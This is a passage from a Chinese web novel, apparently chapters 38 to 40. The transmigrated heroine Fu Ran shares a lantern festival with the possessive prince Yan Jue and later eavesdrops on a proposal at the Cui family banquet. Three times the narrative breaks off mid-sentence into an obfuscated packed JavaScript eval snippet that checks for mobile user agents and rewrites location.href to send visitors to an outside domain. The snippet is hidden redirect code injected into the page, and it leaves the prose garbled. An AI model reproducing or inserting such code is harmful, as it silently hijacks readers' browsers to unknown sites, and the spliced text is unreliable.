晏绝还是自顾自走着,好像身后发生的一切都和他无关,根本不在意她的动静。 傅苒心想一个人逛正好,也就没有叫住他,对卖糖葫芦的小贩欣然道:“我要买一串。” “好嘞!小娘子拿好,小心竹签,别掉了。”小贩麻利地收了钱,挑了一串笑眯眯地递给她。 傅苒低头咬下一颗裹着糖衣的山楂,果然尝到了她喜欢的酸酸甜甜的滋味。 但还没等她咽下去,就听到那小贩又热情洋溢地招呼道:“这位小郎君是不是也想来上一串?甜得很!” 她叼着半颗山楂,懵懵地循声转过头,正对上晏绝含着霜色的视线。 ……诶? 他不是都已经走了吗,怎么又回来了? 晏绝直勾勾地盯着她,目光的落点好像是……她手里刚拿到的糖葫芦。 那眼神像是在研究什么稀世珍宝,但又像在无声控诉。 傅苒迟疑地看看手里,又望了望他:“那个,你难道是想吃?” 虽然这么脑补很不合时宜,但她心中瞬间闪过许多古言里男女主共吃一串糖葫芦的暧昧名场面,尤其是最后,多半男主还要意犹未尽地说一声“很甜”。 想象一下晏绝要是说出这句话……天啊,还是杀了她吧。 傅苒被莫名冒出来的臆想尬得不自觉搓了搓手臂,然后就听见少年嘲讽般地冷笑了一声:“傅姑娘这话想问的恐怕不是我吧?可惜,你的谢公子此刻好像没工夫理会你。” “……” 吃个糖葫芦而已,关谢青行什么事? 既然他不想,傅苒松了口气,又疑惑地自己咬了一只竹签上脆脆甜甜的冰糖山楂,发现她果然还是不太懂其中千回百转的复杂少年心思。 不过这不妨碍她认识到一个显著的事实。 那就是他刚才的怒气值还没消。 虽然现在气势壮了怂人胆,她不担心晏绝怎么样,但刚才毕竟是利用了他才从修罗场跑路,出于公平起见,傅苒觉得还是有必要先哄哄小病娇的。 她认真地澄清:“可谢公子都没和我在一块啊,他一直在陪着晞容呢。” “哦,”少年点墨般漆黑的眸子里看不出情绪,“那看来傅姑娘实在是交游广泛,谢公子不在,你与梁王世子又熟稔起来了。” 怎么说得她好像是什么社交小蜜蜂一样…… 算了,反正他都主动走回来了,傅苒就自动当他是消气了。 就在这时候,一阵稍显嘈杂的争执声从不远处的小摊传来。 那个小摊夹在很多装饰华美的灯铺之间,显得略有些简朴,似乎是一对夫妇搭起来的,棚子的木架都不太精细,好在整体结构还算稳固。 摊前站着一家几口,夫妻俩带着三四个半大的孩子,最小的孩子趁大人不注意,一下抓住了摊尾的灯。 “这孩子!”抱着他的妇人马上拍掉他的手,但手的脏印已经粘在了灯上,把那只兔子的耳朵也弄得脏兮兮的。 妇人只好连连道歉,尴尬地低头看了一眼,从怀里掏出荷包,数了半天,终于数出几个钱,恋恋不舍地交给了摊主道:“真对不住,这盏我买了。” 谁知其他几个稍大的孩子见她这样,也纷纷七嘴八舌地闹腾起来:“阿娘!我也要!”“我要那个小老虎的!”“还有我!我要金鱼的!” 一直沉默寡言的男人顿时黑了脸,凶声恶气道:“一群讨债鬼,就知道伸手要钱!等你们自己个儿将来赚了钱,想买什么买什么!现在花老子的钱倒是不心疼!都给我闭嘴,别在大街上吵吵嚷嚷的,小心回去一人揍一顿!” 但可能是节日的气氛太热烈,这番恐吓没能起到平常那么好的效果,夫妻两人按住这个按不住那个,神态窘迫。 傅苒见状,悄无声息地绕过去,从摊位后面拍了拍老板的肩,小声和她说了几句话,然后把手里的钱袋递了给她。 “各位贵客请留步,不要伤了和气。” 老板领会意思,掂了掂钱袋的分量,藏进袖袋中,向丈夫使了个眼色,满脸笑容地朝那家人迎上去道:“新春大吉,小摊为了酬谢贵客,特意做了些带彩头的灯。这孩子买中的正是盏带祥瑞的兔灯,买一赠三,还可以另外挑选三盏,不收钱。” 傅苒避开那家人,悄悄退了回来,刚好撞见了旁观一切的晏绝。 少年抱臂斜睨着她,唇角勾起一丝辨不清情绪的弧度:“你是在可怜他们?” “怎么能说是可怜,”傅苒不赞同这种说法,“我只是觉得,人在五岁时想要的东西,要是没有能得到,那即使在二十五岁,三十五岁时得到了更多,说到底也不是当时想要的那些了。” 她听到一阵喜悦的欢呼,还能看见那几个孩子举着花灯雀跃跑开的背影,灯火在他们小小的身影上跳跃。 “所以,只是这么简单的事情而已,为什么不能给他们呢。” “……”晏绝抿了抿唇,反常地沉默下去,傅苒也没太在意。 灯楼方向传来悠扬的笙箫鼓乐声,显然是有什么精彩表演开场了,从这里经过的人一下子多起来,赶着往中央方向去。 光顾着看那边,她都没留意到周围有人推搡,差点和对方撞上,腰间蓦地一紧,被晏绝揽了回去。 傅苒脚下踉跄,撞在了少年温热结实的胸口,忽然被他的气息环绕住,清冽中又仿佛带着一丝暖意。 周围人来人往,但都被他挡住,丝毫没有再影响到她。 她稳住了身形,抬起头道:“谢谢……” 对上他的眸子,傅苒愣了一下。 晏绝长长的睫低垂下来,漂亮的黑眼睛静静凝望着她,里面映满了流光,令人有种瑰丽的幻觉,仿佛那其中含着缱绻的情意。 他们从来没有靠得这么近过,她还被晏绝揽在怀里,外界的喧嚣似乎都隔了一层,只剩下方寸间的静默。 这感觉……好像有点奇怪。 “对了,殿下,”傅苒像是被什么驱使着开口,打破了一瞬间微妙的气氛,“你说要给我买的灯还没买呢?” 提到刚才的事情,晏绝表情顿时又不好了。 他几乎是立刻放开了揽住她的手,声音带着一丝凉意:“你刚才不是不要吗?” 傅苒顺势在他旁边站好,假装没看见他沉下的脸色:“刚刚是刚刚,我现在又想要了。” 旁边看热闹不嫌事大的路人恰好听见,笑嘻嘻地插嘴道:“一盏灯才几个钱,有什么大不了的,上元佳节,就图个高兴,小郎君大方些嘛。” 这些大哥大姐们也太热情了。 节日里的氛围和平时不同,要是别人说不定碍于面子就买了,但像晏绝这么软硬不吃又难搞的人,傅苒还是有点怕真的把他惹生气。 她犹豫了一下,小心地牵住他的衣袖,轻轻拽了拽。 晏绝冷着脸低头看过来,傅苒识相地乖乖朝他凑近了点,语调放得很软,听着差不多像在撒娇了:“之前是我不应该拒绝的,你别和我计较嘛,好不好?” 灯火映在她的眼眸中,明亮又清澈。 她明明是在恳求,却好像笃定自己的要求会得到满足一样,像只敏锐的、肆无忌惮博取爱怜的小狐狸。 晏绝微不可察地一滞,几乎忘记了言语。 刚才的女摊主很会做生意,见状忙道:“我这里还有祈福灯,可以许愿的,小娘子要不要买一个?看在你已经买了那么多的份上,打个对折,只要一半价钱,保准灵验,买不了吃亏买不了上当。” “要要要!” 半价这种好事哪里有不要的道理?傅苒想都不想就答应了。 可是该付钱的晏绝却迟迟没有动作,好像在神游天外。 “殿下,你听到了吗?”她不知道这人怎么半天没动静,只好指了指最前面的一盏灯,“就要这个吧。” 接过了灯,傅苒在他眼前挥了一下手,试图把晏绝不知道飘哪去的注意力给拉回来:“既然这是祈福灯,你送给我灯了,那我还你一个愿望好不好?” 主要是哄人大业还没完成,看小病娇的样子,估计得再加把劲。 许个什么愿望好呢? 幸亏她从崔鸯那里也算学会了几句文绉绉的吉语,反正上元佳节,当然要捡最好听的话来说了。 傅苒把灯塞到他手上,双手合十,酝酿了一会,然后认认真真地对着它说出了祝愿:“我祝殿下如日之升,如月之恒,朝朝如愿,岁岁无忧。” 捧过那盏灯的一刻,光彩骤然照亮了他。 同样照亮的,还有眼前这个专心许愿的人。 煌煌灯火在女孩身侧流淌,温柔地勾勒着她的侧颜,她闭着双眼,嘴角有浅浅的笑意。 难以言喻的温暖,和动人。 晏绝的心口仿佛被这灯火烫了一下,一种奇异的悸动忽然攫住了他,像是心脏被一只无形的手紧紧攥住,轻而易举地捏在手中。 他从未有过这样特殊的感受。 被人掌控的感觉,分明应该让人畏惧,却又忍不住心生向往。 “哎呀,别挤别挤了!”人群中忽然传来大喊。 不知道是不是老板吆喝的那一声起了作用,一下子涌入好几家买祈福灯的,众人围在小小的摊位前,免不了推来挤去,原本还能支撑的棚架顿时摇摇欲坠。 混乱中,有人惊呼道:“不好,架子要倒了!” 傅苒只觉得眼前略花,光影晃动的瞬间,灯火猛地一闪,少年猝然抱着她避了半圈。随后,就是一道令人胆战心惊的闷响。 是重物砸到他骨头上的声音,令人牙酸。 “殿下?”傅苒惊住了,“你怎么样了?” 但晏绝一声不吭,只是松开了她。 “小郎君人没事吧?!”老板也吓得不轻,连忙迎上来迭声道歉,“实在对不住!我们也没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646564|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到人会挤成这样,要不这样,我陪你们去看医师,医药费我来出,灯的钱我也全退了,真是太对不起你们了。” 老板额头都冒出了冷汗,显然也没有想到会出现这种意外。 其实按理说,不管她还是晏绝,他们谁也不缺这些钱,但这是态度问题。 因为傅苒不是受伤的人,不能代替回答,所以她望向了晏绝。 那根横木看着就很结实,而且又是从高处倒下来,毫无遮挡地直直砸在了他的手臂上,想必砸得不轻。 然而晏绝甚至没有看一眼伤处,脸上也毫无忍受疼痛的表情,淡淡道:“不必了。” 他是惯于忍受痛苦的人。 这点伤的程度,自己就能判断,算不了什么。 老板的道歉归道歉,傅苒知道他刚刚是代她承受了那一下,诚心道:“殿下,谢谢你。” “没什么,”晏绝垂下眼睫,低声说,“算是我还你的。” 他说完便抽开手离去,也不管守在旁边的老板,却还提着那盏灯,径直走出了一段距离。 等一下,还她? 他们之间有什么好还的? 傅苒先是一阵莫名其妙,然后想了好半天才记起,他当初打猎的时候害她扭过脚踝的事,难不成是指的这个? 说起来,那时候确实被他气得不行。虽然过了这么久,要不是晏绝提起,她其实早快忘在脑后了,但是一码归一码,欠的债哪有那么容易两清。 可她不过宕机了这么一小会,晏绝转眼就已经走出老远开外,任她在后面怎么叫,居然头也不回。 那种逃避的态度……就好像刚才做的事情和说的话,有哪里让他感觉后悔了似的。 想想也很正常,傅苒心道,小病娇这种人说不定一年到头也难得良心发现几回,说不定现在正因为觉得自己对她太好了生闷气呢。 都到这种时候了,她充分发挥宽容的美德,不跟别扭精计较就好了。 傅苒刚要去追,结果被愧疚的老板拉住,硬往她手里塞了一袋钱:“娘子先拿着这些,要是小郎君的伤还有什么问题,我们今夜都在这里,绝对不会跑的,随时回来找我们!” 她没顾得上推拉,胡乱抓在手里,眼看晏绝已经越走越远了,赶紧几步追了过去,上气不接下气地赶上了他的步伐。 “等等我,这种东西是不能、不能随便偿还的啊,殿下。” 少年忽然突兀地停下了脚步,傅苒一个踉跄,话还没说完,险些一头撞到了他的肩上。 “你干嘛,”她捂着额头不满地念叨,“路上急停很危险的。” 然而罪魁祸首一动不动,像是完全没有听见这句小声嘀咕,只顾着低头看她,黑眸中的情绪阴沉沉的,却又固执地燃着一点幽微难辨的光。 “为什么不能?” 原来在意的是这个,傅苒只好接着想了想,努力地找出了个最合适的例子。 “因为人情和债务是不一样的呀,”她仰起了头,迎上晏绝执着的目光,“虽然我之前是因为你受伤,现在你也因为我受过伤了,但两件事情又不能像账目那样随便抵消掉。打个比方,万一我当时留下了伤疤,那疤痕是不会因为你也受伤就自己消失的,对吧?” 又不是还账,难道还能你捅我几刀我捅你几刀,那就可以直接送入火葬场文学了。 不过话又说回来,能良心发现到这种程度,对小病娇而言好像确实已经有点不可思议了。 但晏绝不知道为什么莫名纠结起来:“那若是一个人伤了你,又愿意还你十倍,或者百倍呢?” “那他要是捅了我一刀,就算再捅自己十刀,我的伤也还是在啊……” 傅苒没懂他干嘛在意这个问题,说着说着脑洞大开,“哦不对,说不定捅第一刀就没命了。” “……” 晏绝默然了下去,半晌道:“所以,你还是会怪我?” 因为已造成的伤害,就像已形成的疤痕一样,是事后不可追回的。 只是不知为什么,心中有种陌生的焦躁,似乎最开始就可以预见答案,却依然搅得他心绪不宁,很不痛快。 “倒也不完全是这样……” 但傅苒很快摇了摇头,出人意料地,她隔着衣袖轻轻地握住了他的手臂,动作带着小心翼翼的安抚意味。 “一码归一码嘛,所以我觉得我们最好都别再受伤了,而且,现在最重要的是——” 她一本正经地戳了一下刚刚被砸到的位置,果然看到他下意识的蹙眉,“要给你被砸到的地方上药好不好。” 被她指尖触及的刹那,晏绝的心像是被什么东西密不透风地勒住,那感觉比上一次更加清晰,伴随着一种陌生的钝痛与悸动。 他仿佛在坠进一张温柔的尘网之中。 如同生性顽劣的孩子,偶然间得到了一块玲珑剔透却又格外脆弱的琉璃。可是他只会破坏和摧毁,从未想过要珍惜任何东西。 直到这一刻。 他忽然意识到,说不清是什么时候起,他已经开始害怕把这块琉璃弄碎了。 39. 第 39 章 自二月而降,青阳开动,春雷始鸣,蛰虫破土,草木复苏。 在不知不觉消退的寒冷中,春日再一度来临了,积雪慢慢融化,枝头坠满了像蜜蜡一样澄黄的梅花,伴随着暖阳,让人的心情也不由得明朗起来。 惊蛰过去后,谢府接到了一份措辞考究的宴请,帖子来自崔家,是为崔府老太公的寿辰而设,时间在二月末,正好是冬寒转暖的时候。 但早春的天气难测,刚晴朗了几天,忽然又毫无预兆地刮起了料峭的寒风。 一夜之间,落雪满城,像是陡然回到了冬天。 “天怎么一下冷成这样,呼,还好昨夜听阿母的话,准备了厚实的夹袄,不然出门真是要冻死了。” 先头的谢晞容下了车,冷得不顾仪态地跺了跺脚,呼吸之间都是冒出的白气。 傅苒比她更不争气,抱着手炉一刻也没有松开,整个人严严实实地裹在厚实的羽氅里,只有声音闷闷地传出来:“夫人是跟我说过,二月里常有倒春寒来着。” 昨天夜里风刮得很大,还能听见雪珠落在屋瓦上噼啪的碎响。果然,才过了大半晚,铜驼大道上就积出了一层松软的薄雪。 这场不期而至的暮雪,让天色显得有几分阴沉,还好崔宅前面车马盈门,喧阗的人声与暖融的气息,多少驱散了一些料峭春寒带来的冷清感。 而且很快,傅苒就从来迎接她的崔鸯那里得到了一个值得高兴的消息。 尽管崔鸯的阿母还是希望她能嫁给李七郎,但最终选择了退让,若她实在不愿,便私下与娘家推诿了作罢。 好在这桩亲目前只是口头上约定,还没有到完全确定的地步,尚且有转圜的余地,只是李夫人想必在娘家情面上不好交待。 崔鸯提起的时候,眉宇间难掩忧色。 傅苒安慰她:“崔姐姐如果就这么强求着嫁给了不喜欢的人,你阿父和阿母肯定也不会高兴,所以长痛不如短痛,现在能结束已经算是好事了。你阿母只是没法马上接受,慢慢就会理解的。” “我也知道,只是累及阿母周旋,于心难安……”崔鸯轻叹一声道,“罢了,此事既然已经确定下来,便无需再提了。” 不管怎么说,父母都商议过,至少拒婚的问题是得到解决了。 但表兄的亲事作废,崔鸯的婚约却依旧悬而未决。 由于是女儿的终身大事,这回父亲崔循从繁忙的公务中抽身,亲自给了找了好几个合适的人选,连崔林都被叫去给他参谋了。 不出意外,这几个人都是有才名的读书人,但如今京官的职位僧多粥少,出于先立业再成家的心,所以尚且没有定亲。 崔循显然还没有开明到能让自家女儿直接亲身上阵挑人的地步,但也破天荒地告知了她几位人选的大致情况,让她先好好考虑一下。 她同傅苒说完这些,仿佛卸下了心口沉甸甸的石头,眉宇间笼罩的愁意变淡了许多,轻声道: “总归事情已经如此,再多纠结也无益,何况如今,阿父为了兄长的亲事恐怕要更头疼些。” 崔林的亲事? 等等,不会是她想的那个人吧? 傅苒不由得问:“崔郎君也要定亲了吗?” “还没有确定,因为……”崔鸯犹豫了一下,“阿兄的婚事,恐怕比我还要牵涉得更广。” 崔林青年才俊,虽然眼下官居太仆丞,但才学品行为人称道,一直以来在文士清流间名声很好,何况他才弱冠之年,前途不可限量,按理来说婚事本不该发愁。 但问题就在于,位高权重的咸阳王通过某些私下的渠道,也向崔家抛出了橄榄枝。 咸阳王身处两宫之争的漩涡中心,干系实在太大。崔家本身无意卷入其中,更加没有与之结亲的意向,但碍于咸阳王的权势地位,又难以直言拒绝,于是变成了一个略显僵持的局面。 这回崔老太公寿诞,平原公主就亲自来了。 不仅人来了,所赠之礼更是极其贵重,毕竟咸阳王名下的产业无数,本就已经相当富有,加上平原公主自身又有丰厚的食邑供奉。所以她行事奢靡,早就是众所周知的事情。 而且平原公主一直以飞扬骄横闻名,因为父母宠爱,行事向来百无禁忌。即便是为自己挑选驸马这等终身大事,她也丝毫没有要含蓄遮掩的意思,祝寿的时候当庭就对着各位崔家长辈问起了崔林,基本把意思摆在了明面上。 可是这么一来,崔家就更不好应对了。 崔家其实是不太想结这门亲的,因为麻烦太大,结果平原公主这样高调,那谁还敢再谈崔林的亲事。 除非是,另一个能不在乎得罪咸阳王的人。 崔鸯说到此处,身子微微前倾,在傅苒耳边低声耳语:“……我父亲私下已与我们透了底,苏家也有与阿兄结亲之意。” 傅苒忽然收获了接连的两个震惊消息,睁大了眼睛:“啊?” 单纯以理性分析,苏家这么干肯定是有太后的默许和授意,不知道是出于什么样的考量,说不准也有和咸阳王争斗的意思。 但作为小说读者,听到这个突如其来的消息,她的第一反应是—— 三角恋又来了。 她就说崔林果然是个祸水吧。 最重要的是,苏家有意结亲的事情,苏琼月提都没跟她提过啊! 不会苏家是背地里商量的,连苏琼月自己都不知道吧?那平原公主知道这事得是什么反应,大发雷霆都是比较轻的后果了。 但这么秘密的事情,她肯定不能透露是从崔鸯这里知道的,这可怎么办。 要不……要不跟女主旁敲侧击一下,让她在太后面前表个态,以后离崔林远点? 不管怎么说,还是得先出席接下来的宴会。 崔鸯牵着她的手从静谧的屋子里离开,转入灯火通明、人声鼎沸的正堂,刚一踏进去,傅苒就见到苏琼月与晏明光已经在席间落座。 苏琼月见到她眼前一亮,柔声唤她:“苒苒!” 但晏明光上次就不满苏琼月和傅苒交好,这回见苏琼月还要来,立刻重重哼了一声,微怒道:“你又要留我一个人不成?” 本来要朝傅苒而来的苏琼月顿时面露犹豫,纠结地在两人看了又看,终究还是没再挪动步子,带点讨好意味地挽住了晏明光:“当然不会,我陪着你。” 对苏琼月而言,公主是她唯一从小就交心的密友,因为之前的不少事,晏明光已经生过她的气了,好不容易重新言归于好,她只能尽量避免再惹好友不快。 她一直很珍惜这个朋友,绝不想因为任何缘由去伤害这么多年的友谊。 只是晏明光对傅苒的排斥同样让她为难,苏琼月只好充满愧疚地看了看傅苒,神色中充满了抱歉的意味。 果然,爱情不说,友情里的占有欲也是一大难题啊。 有个占有欲爆棚的晏明光在场,说起崔林不是更要火上浇油了……还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚刚由冬转春,院子里还看不到多少绿意,入目多是深黛的枝桠与沉寂的假山怪石,倒是走着走着看到了一片小湖。夜色已深,月光洒落在了湖面上,碎银似的粼光随着波澜轻轻跳跃,晃得人眼前有点晕。 傅苒扶着旁边的山石,终于支撑不住,软软地滑坐下来。 怎么困成这样?昨天也没有熬夜啊? 她盯着湖水发了一会呆,总算是后知后觉意识到,不会是因为刚才喝的那几杯酒吧? 这完全是她计划之外的情况,因为傅苒在现世酒量相对不错,从没有过醉倒的经历,没想到女配的酒量居然这么不堪一击。 好吧,反正小说里一杯就倒的体质泛滥成灾,出现这种情况好像也不是那么难以预料了。 但是总之,人不清醒的时候什么都不适合干,她晃了晃脑袋,准备及时放弃找女主,直接回去,站起来的时候,却听到了一个意想不到的熟悉声音。 “为什么要自己一个人呆着?” 傅苒迷迷糊糊地抬起头,月光在她的瞳中勾勒出来人的身影:“……殿下?” 晏绝站在湖边,山石之间,波光粼粼的湖水在他身上投下波澜的光泽,那双眼睛也如同湖水,倒映着她的影子。 她停顿了一下,带着几分酒后不加掩饰的困惑问道:“你怎么也在这里?” 40. 第 40 章 傅苒问出这句话的时候,其实并没有过脑子。 她只是单纯地想,原著里面,崔家的宴会……根本没提到小病娇吧? 这不是什么特别重要的场合,他貌似缺席了才对。 而且就算他突然决定来了,这院子这么偏僻,为什么他会刚好也出现,是不是有点太凑巧了。 “我不应该在吗?” 少年的声音忽然逼近了,他向前一步,几乎把傅苒笼罩在月光和山石的阴影里,眼神有点莫测:“还是说,你这么不想看见我?” 这话又是从何说起,但我真的记得原著里这次宴会你没来啊。 傅苒当然没法说出真实的原因,而且她现在也确实是困倦得厉害,懒得思考那么多,所以干脆讨巧地回避了这个问题,只仰着脸摇了摇头:“我没有那个意思。” 晏绝为她这毫不设防的神色怔了一下,那点不易察觉的压迫感忽然无声地散去。 他的声音迟疑着缓了下来:“你喝酒了。” “就喝了一点点吧……” 傅苒觉得自己应该也算不上喝醉,最多是有点犯困而已,说不定吹会风就好了。 她努力集中精神,想了想刚才出来到底是为了什么,好半天才想起来问:“殿下,你见到苏姐姐了吗?” 晏绝顿了一下,低声道:“没有,你找她干什么?” 其实这个问题似乎有些多余。 毕竟,他知道阿姊如今很信任她。 在很短的时间里,就已经信赖到了亲密无间的地步,也许还要超过对他的信任。 原本这是件无所谓的事情。 然而不知为何,她在这样被酒意浸润得柔软又全无防备的时候,哪怕就在他面前,依然对他视而不见,偏偏还要问起根本无关的阿姊。 那股熟悉的烦闷感再次如藤蔓般缠绕上心头,丝丝缕缕,裹着让人焦躁的刺痒。 很不舒服。 却难以言喻。 他忽而执拗地问:“阿姊为什么叫你苒苒?” 傅苒觉得他这个问题问得莫名其妙,揉了一下发晕的脑袋,不太在意地回答。 “苒苒是我的小名啊,大家都是这么叫的,你想的话也可以呀。” 这多正常的称呼,不管是她的同学还是朋友都经常用,倒是小病娇每次都非要正儿八经地叫傅姑娘,说多了感觉特别不顺口。 晏绝微微抿起唇,将要说出口的瞬间,却又下意识把这两个字咽了回去。 就像偶然获得了一件隐秘的珍宝,反而不敢轻易示人。 “那你也不要总是称殿下了,”他生硬地转折过去,“叫我阿真吧。” “什么?”傅苒疑惑地偏了偏头。 晏绝的声音太轻,几乎快被夜风吹散开,所以她都没怎么听清楚。 但还没等她继续说什么,就听到外面有动静传过来。 一阵交谈声由远及近,像是扔进静水里的小石子,打破了这处月下庭院原本的幽寂。 大概是又有人来了。 反正庭院里散步的宾客不止一个两个,她本来没有放在心上,但紧接着,一个她再熟悉不过的女子嗓音清晰道:“崔公子今日是有什么事想告诉我吗?” 嗯?这是苏琼月的声音? 可是苏琼月说这句话的意思,难道是和崔林在一起……那晏明光去了哪里?她们不是一起离开的吗? 电光火石之间,傅苒只来得及转过这几个念头,然后意识到最紧迫的那个问题。 晏绝正在她旁边,要是两边撞上就尴尬了。 不好,不能被看到。 她脑子已经有点不太清醒,只来得及闪过了这个短促的念头,然后立刻用力推了晏绝一下。 少年猝不及防之中,竟然就这样被她按着胸口整个人压在了石头上,漂亮的黑眼睛愕然地盯着她。 情况太紧急,傅苒为了压低声音,差不多是贴到了他身上在说话,嘴唇几乎擦过他的耳廓:“我们小声一点,别被发现了。” 她光顾着紧张兮兮地听外面的动静,没再继续注意他。 晏绝顺从地沉默下去,任凭她把自己困在这片狭窄的区域,让石林遮住他们的身形。 这不对。 他明明应该要推开她。 然而理智仿佛只余下脆弱的一线,而其余的所有一切,都在叫嚣着渴求。 他握住了她按在自己胸口的手。 却根本没有放开,反而慢慢握在了自己的掌心。 少年的体温很热,即使隔了好几层衣袖的布料,傅苒都还能感受到传来的温度。 寒风吹过来,她冷得颤抖了一下,下意识往他怀里缩。 其实她从来没有和晏绝离得这么近过,所以刚刚才注意到,他皮肤很白,也很细腻,有点像她喜欢的那种甜滋滋的糯米糕点,让人莫名很想咬上去。 等等,她为什么会有这种奇怪的想法。 傅苒想锤一下自己的额头,努力清醒过来,抬手的时候,才发现手也被他握住了。 她刚准备抽出来,但晏绝突然示意她听外面的声音。 隔得太近,动作间,他的唇几乎从她额角擦过。 傅苒顿住了。 外面传来断断续续的人声,隔着一段距离,中间还有山石阻挡,听得不那么真切,只能大概辨认出来应该是崔林在说话。 “……苏太傅前日与我父亲……提及了亲事。”崔林的声音带着几分郑重和紧张。 “什么?”苏琼月的声音仿佛大吃一惊,“可我……根本没有听伯父说起过!” 崔林的声音停滞了片刻,似乎在斟酌词句:“这正是我想告诉苏娘子的事……父母之命,媒妁之言,一旦定下,便容不得再反悔,我……我猜测苏娘子或许尚不知情,所以冒昧相告……想亲口问问苏娘子的心意。” 这次他顿了更久,仿佛下定了某种决心:“实不相瞒……我在洛水畔对苏娘子一见倾心,早已心仪于娘子。” “得知家父与令伯父有议亲之意,我极为欣喜……若此姻缘有成,我崔林在此立誓,此生必珍之重之,绝不相负……” 这说的都是些什么? 求、求婚? 不是吧…… 隔得太远了,传到傅苒这边已经很模糊,她还以为自己晕乎乎的产生幻听了。 说实话,有点不好意思,她还从没干过这种听墙角的事情,本来应该避让的。但事关苏琼月,实在没办法那么坚持道德底线了。 她在心里默默给崔林道了个歉,强打起精神,试图从那些模糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他拿开她环在自己颈后的手臂,再次握住她的手,就这样缓慢地分开,十指交织,然后一点一点地摩挲而过,在脑海中勾勒出细腻的形状,从她的指尖、关节、手心……到掌纹。 可以触碰到她的脉搏,很轻,却充满生机,即便在他按压的力道下,依然勃勃地跳动着。 让这样的生机消逝原本是轻易的事,但对他而言,已经如此困难,不可能再做到。 他的动作停下来,就这样停了很久。 在傅苒下意识蜷缩起手指之前,他低下头,亲吻了她的手心。 一个潮湿的吻。 傅苒感觉到了这种湿润的热意,想把另一只手抽开,却被他更紧地按住,压迫在自己的胸口。 明明晏绝才是那个束缚她的人,可是看起来,就好像是她在制衡着、囚禁着他一样。 奇怪的亲密,可是她实在太困了,没有力气去思考更多。 “殿下,阿真?” 意识渐渐陷入朦胧,她用残存的一点清醒,含糊又不解地贴在他耳边小声说,“你想做什么呀?” 他想…… 做什么? 晏绝的睫轻轻颤动着,俯得很低,几乎把脸埋在了她的颈窝之间,喉间压抑着一声微不可闻的喘息。 想把她弄脏。 用一些别的什么东西。